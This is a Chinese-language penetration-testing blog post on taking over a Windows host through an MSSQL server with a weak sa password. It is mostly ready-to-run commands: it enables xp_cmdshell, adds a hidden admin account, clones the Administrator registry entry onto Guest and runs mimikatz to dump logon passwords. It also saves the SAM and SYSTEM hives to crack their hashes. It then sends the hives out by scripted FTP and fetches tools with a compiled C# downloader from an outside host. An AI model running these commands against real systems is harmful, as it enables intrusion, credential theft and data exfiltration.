- #0x00 写在前面
- #0x01 xp_cmdshell启用
- #0x02 添加管理员账户
- #0x03 提权Guest账户(账户克隆)
- #0x04 下载mimikatz等获取Administrator明文口令
- #0x05 获取注册表中用户的hash,本地破解
- #0x06 Windows cmd(xp_cmdshell)命令行上传下载方法
- #0x07 参考
#0x00 写在前面
2015年8月的时候对国内最大的某二手房地产公司做过一次安全测试,提交了wooyun,漏洞是由一个MSSQL注入引发,导致提权,最后完成内网漫游,链接就不贴出来了。最近又遇到了类似的情况,借这个机会记录一下MSSQL高权限漏洞的利用过程。
关于MSSQL漏洞利用已经讨论的很多了,这篇文章重点不讨论MSSQL漏洞利用,而是聊一下基于MSSQL漏洞获取windows权限的一些方法。
图片来源于:https://blog.stealthbits.com/gain-system-access-and-persistence-with-sql-native-attacks-sql-attacks/
#0x01 xp_cmdshell启用
本次漏洞是MSSQL sa 弱口令引发,思路很明确,Navicat连接数据库,Query利用xp_cmdshell执行系统命令(当然也可以使用kali自带的mssqlclient.py,更方便:mssqlclient.py sa:password@10.10.10.10,数据库连接后help查看使用方法)。返回“SQL Server Blocked Access to Procedure ‘sys.xp_cmdshell’ of Component ‘xp_cmdshell’”,xp_cmdshell没有启用,启用之
EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONFIGURE
现在可以执行系统命令了,下面需要做的就是获取windows的权限,这里讨论使用Administrator登录目标系统。方法很多,今天讨论以下4种:
1、添加管理员账户
2、提权Guest账户(账户克隆)
3、下载mimikatz等获取Administrator明文口令
4、获取注册表Administrator等用户的hash,本地破解
#0x02 添加管理员账户
这种方法操作最简单,但是动静相对比较大,隐蔽性不高,渗透测试中使用的还是比较多的。
1、添加用户
2、添加至管理员组
3、使用admin进行远程桌面登录
4、利用完成后删除账户
exec master..xp_cmdshell 'net user admin 123 /add'
exec master..xp_cmdshell 'net localgroup administrators admin /add'
exec master..xp_cmdshell 'net user admin /del'
#0x03 提权Guest账户(账户克隆)
1、获取administrator账号的相关信息
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'
000001F4指的是Administrator,项目F中保存的是一些登录记录,比如上次登录时间、错误登录次数等,还有一个重要的地方就是这个帐号的SID相对标志符,与F对应的还有一个V,其中保存的是帐户的基本资料,用户名、用户全名(full name)、所属组、描述、密码hash、注释、是否可以更改密码、帐户启用、密码设置时间等。。
2、将刚刚获取的0x…开头的value值赋值给guest账号
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x......
3、启用guest账户并提权
exec master..xp_cmdshell ' net user Guest /active:yes'
exec master..xp_cmdshell 'net localgroup administrators Guest /add'
4、使用Guest进行远程桌面登录
#0x04 下载mimikatz等获取Administrator明文口令
这种方法有两个限制:
1、通过xp_cmdshell可以下载mimikatz到目标机或上传mimikatz到目标机器(使用xp_cmdshell上传或下载见0x06)
2、近期用户登录过系统,可以通过mimikatz获取Administrator的明文口令
上传mimikatz到目标机之后,通过xp_cmdshell运行mimikatz,执行命令为:
exec master..xp_cmdshell 'c:\mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir'
#0x05 获取注册表中用户的hash,本地破解
这种方法有一个限制:可以从目标机器上下载文件到本地。
1、导出目标机器上注册表信息到文件,在本地执行以下命令:
exec master..xp_cmdshell 'C:\Windows\system32\reg.exe save hklm\sam c:\sam.hive'
exec master..xp_cmdshell 'C:\Windows\system32\reg.exe save hklm\system c:\system.hive'
2、将目标机器上导出的注册表信息下载的本地(使用xp_cmdshell上传或下载见0x06)
3、使用Impacket的secretsdump.py获取用户hash。
secretsdump.py -sam sam.hive -system system.hive LOCAL
4、LM hash和NTLM hash可在线破解:
cmd5
LM/NTLM hash在线破解
5、破解Administrator密码成功后,远程桌面登录,提取成功,删除文件sam.hive,system.hive。
#0x06 Windows cmd(xp_cmdshell)命令行上传下载方法
方法有很多,限制条件和使用条件各不相同,这里介绍两种在本次渗透过程中用到的两种。
一、利用.NET环境,完成文件的上传下载
(一)使用C#完成文件下载(下载文件mi.exe到目标机器)
1、把C#文件中的回车换行去掉,把代码写成一行,通过echo命令把代码写入c:\1.cs
exec master..xp_cmdshell 'echo using System.Net;namespace downloader{class Program{static void Main(string[] args){WebClient client = new WebClient();string URLAddress = @"http://172.30.10.49/mi.exe";string receivePath = @"C:\";client.DownloadFile(URLAddress, receivePath+System.IO.Path.GetFileName(URLAddress));}}} > c:\1.cs'
2、编译C#文件为可执行文件
利用csc.exe编译C#文件,csc.exe的所在位置与 .NET Framework的版本有关,根据实际情况确定(可通过xp_cmdshell执行dir命令来确定csc.exe的位置。
exec master..xp_cmdshell 'C:\Windows\Microsoft.NET\Framework\v1.1.4322\csc.exe /out:C:\download.exe C:\1.cs'
3、运行download下载mimikatz到目标机器
exec master..xp_cmdshell 'C:\download.exe'
4、mi.exe将被下载至C盘。
5、渗透完成后执行以下命令删除遗留文件1.cs、download.exe、mi.exe
exec master..xp_cmdshell 'del c:\1.cs'
exec master..xp_cmdshell 'del c:\download.exe'
exec master..xp_cmdshell 'del c:\mi.exe'
(二)使用C#完成文件上传(上传文件test.txt到HTTPServer)
1、文件编译方法同上(一),上传用到的1.cs文件如下所示:
using System.Net;namespace uploader{class Program{static void Main(string[] args){WebClient client = new WebClient();client.Headers.Add(HttpRequestHeader.Referer,"rerefeR");string URLAddress = @"http://xxxx:8000";string myFile = @"C:\test.txt";client.Credentials = CredentialCache.DefaultCredentials;client.UploadFile(URLAddress, "POST", myFile);client.Dispose();}}}
2、启动HTTPServer
python SimpleHTTPServerWithUpload.py 8000
SimpleHTTPServerWithUpload.py下载
3、执行1.cs编译生成的可执行文件即可把C:\test.txt上传到HTTPServer机器的SimpleHTTPServerWithUpload.py所在目录。
补充:如果目标机器上有curl,可以通过下面的命令配合SimpleHTTPServerWithUpload.py上传文件:
curl xxxx:port -F "file=@/path/file" --header "referer:a"
二、利用ftp进行上传下载
(一)利用ftp从目标机器上传文件至ftp服务器
1、把ftp命令写入文件
把下面的ftp命令写入目标机器的c:\ftp.txt里
open 172.30.10.49 21 #ftp服务器地址
admin #username
admin #password
bin
PUT c:\sam.hive
PUT c:\system.hive
执行如下命令
exec master..xp_cmdshell 'echo open 172.30.10.49 21> c:\ftp.txt'
exec master..xp_cmdshell 'echo admin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo admin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo bin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo PUT c:\sam.hive>> c:\ftp.txt'
exec master..xp_cmdshell 'echo PUT c:\system.hive>> c:\ftp.txt'
注意”>、»“前面不能有空格。
2、执行ftp命令
exec master..xp_cmdshell 'ftp -s:c:\ftp.txt'
3、执行后sam.hive将被上传至ftp服务器根目录。
4、删除目标机器上的ftp.txt
exec master..xp_cmdshell 'del c:\ftp.txt'
(二)利用ftp把文件下载至目标机器
1、把ftp命令写入文件
把下面的ftp命令写入目标机器的c:\ftp.txt里
open 172.30.10.49 21 #ftp服务器地址
admin #username
admin #password
bin
GET mimikatz.exe
依次执行如下命令
exec master..xp_cmdshell 'echo open 172.30.10.49 21> c:\ftp.txt'
exec master..xp_cmdshell 'echo admin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo admin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo bin>> c:\ftp.txt'
exec master..xp_cmdshell 'echo GET mimikatz.exe>> c:\ftp.txt'
注意”>、»“前面不能有空格。
2、执行ftp命令
exec master..xp_cmdshell 'ftp -s:c:\ftp.txt'
3、执行后mimikatz.exe将被下载到目标机器c盘根目录。